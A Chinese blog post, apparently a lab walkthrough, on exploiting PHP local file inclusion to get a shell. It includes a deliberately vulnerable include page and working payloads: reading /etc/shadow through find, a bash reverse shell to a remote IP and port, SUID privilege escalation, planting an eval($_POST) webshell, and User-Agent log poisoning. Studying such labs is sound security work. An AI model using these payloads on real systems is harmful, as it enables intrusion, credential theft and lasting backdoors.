文件包含的一些getshell姿势
本文最后更新于67 天前,其中的信息可能已经过时。

一、环境搭建

攻击机:kali

IP地址:192.168.0.13

靶机:Centos

IP地址:192.168.0.20

实验使用源代码如下

<html>
<body>
<h1>请选择数字</h1>
<form action="?page=<?php $file = $_GET[ 'page' ];
echo $file; ?>" method="GET">
	<select name="page">
        <option value="1.php">1</option>
        <option value="2.php">2</option>
        <option value="3.php">3</option>
    </select>
    <input type="submit" , value="提交">
</form>

<?php
$file = $_GET[ 'page' ];
include $file;
?>

二、实验步骤

1.扫描端口80

PHP中文件包含函数有以下四种:

require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行

require_once() // 如果一个文件已经被包含过,则不会在包含它

include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行

include_once() // 如果一个文件已经被包含过,则不会在包含它

测试方法为是否可以通过用户控制,包含其他恶意文件,导致了执行访问了非预期的文件。

这里列下一些常见的列表

  1. 根目录
    • /etc/passwd(用于Linux系统用户信息)
    • /etc/hosts(域名到IP地址映射)
  2. Web应用目录
    • index.php
    • config.php
    • header.php
    • footer.php
  3. 日志文件
    • /var/log/apache2/access.log
    • /var/log/apache2/error.log
    • /var/log/nginx/access.log
  4. 系统配置文件
    • /proc/self/environ
    • /proc/version
  5. Windows系统文件(如果目标是Windows):
    • C:\Windows\win.ini
    • C:\Windows\System32\drivers\etc\host

这里尝试包含成功访问

这里开始尝试getshell

这里我们使用php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。 例如: http://127.0.0.1/cmd.php?cmd=php://input POST数据:<?php phpinfo()?> 注意: 当enctype=”multipart/form-data”的时候 php://input` 是无效的 遇到file_get_contents()要想到用php://input绕过。

这里我们的思路可以放开多用几种姿势getshell

(一) 提权

发现find命令

touch abc

find abc -exec whoami \;

我们当前用户没有写入权限所以我们查询1.php

<?php system("find 1.php -exec cat /etc/shadow \;");?>
(二) 反弹shell
<?php 
system('/bin/bash -c "bash -i >& /dev/tcp/192.168.107.115/9999 0>&1"');
?>

提权姿势

find / -perm -u=s -type f 2>/dev/null //查找suid命令

find / -perm -g=s -type f 2>/dev/null //查找sgid文件

find . -exec /bin/sh -p \; -quit

(三) 写马子

这些环境都是为了能看到一个终端

写入一句话木马

使用单引号'包裹外部字符串,可以避免PHP解析器混淆。

在字符串内部,使用反斜杠\对引号进行转义,确保嵌套的引号能够正确解析。

<?php 
  system('echo "<?php eval(\$_POST[\"cmd\"]); ?>" > 7.php'); 
?>

使用蚁剑连接

或者通过find写入木马

<?php
system('find 1.php -exec sh -c \'echo "<?php eval(\\$_POST[\\"cmd\\"]); ?>" > 11.php\' \;');
<?php
system('find 1.php -exec chmod 777 11.php \;');
?>
(四) user-angnt注入

为了实验我们适当的更改权限

#centos 下默认路径
/var/log/nginx/access.log
/var/log/httpd/access_log
#ubuntu下默认路径
/var/log/apache2/access.log
/var/log/nginx/access.log
通过观察可以发现目标日志系统会将user-angnt记录


我们在可在ua头里写入马子

觉得有帮助可以投喂下博主哦~感谢!
作者:明弟有理想
版权声明: 本站所有文章,如无特殊说明或标注,均为本站原创发布。转载请注明文章地址及作者。
如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
文章声明:
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。请注意,本文并非文学作品,请勿过度理解。请大家自觉遵守《网络安全法》,感谢您的理解与支持!
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇